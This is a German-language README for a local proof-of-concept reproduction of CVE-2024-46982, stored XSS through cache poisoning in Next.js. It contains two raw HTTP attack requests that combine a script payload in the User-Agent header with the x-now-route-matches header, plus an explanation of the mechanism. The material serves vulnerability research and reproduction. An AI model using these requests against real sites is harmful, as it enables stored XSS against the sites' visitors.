CVE-2024-46982-Reproduction

Erste Schritte

1. Installieren Sie Node.js LTS
2. npm install
3. npm run build
4. npm run start

Ausnutzung 1: Stored XSS per Cache-Poisoning

1. Senden Sie die folgende HTTP-Anfrage (Angriffsanfrage) mit einem beliebigen HTTP-Client.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Besuchen Sie http://localhost:3000 (normale Anfrage) mit einem beliebigen Webbrowser.

Ausnutzung 2: Stored XSS per Cache-Poisoning

1. Senden Sie die folgende HTTP-Anfrage (Angriffsanfrage) mit einem beliebigen HTTP-Client und ersetzen Sie "UiKoKFFGnF1td3mMyeDX5" durch Ihre ".next/BUILD_ID".

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Besuchen Sie http://localhost:3000 (normale Anfrage) mit einem beliebigen Webbrowser.

Wie funktioniert es?

1. x-now-route-matches ist ein benutzerdefinierter HTTP-Header, der von Next.js erkannt wird. Wenn er vorhanden ist, behandelt Next.js die HTTP-Anfrage als „SSG“ (Static Site Generation), wodurch die HTTP-Antwort zwischengespeichert werden kann (Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1 ist ein von Next.js erkannter Query-String. Wenn vorhanden, behandelt Next.js die HTTP-Anfrage als „Abrufen von __NEXT_DATA__“.

Den vollständigen Artikel finden Sie im Abschnitt Credit.

Credit

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir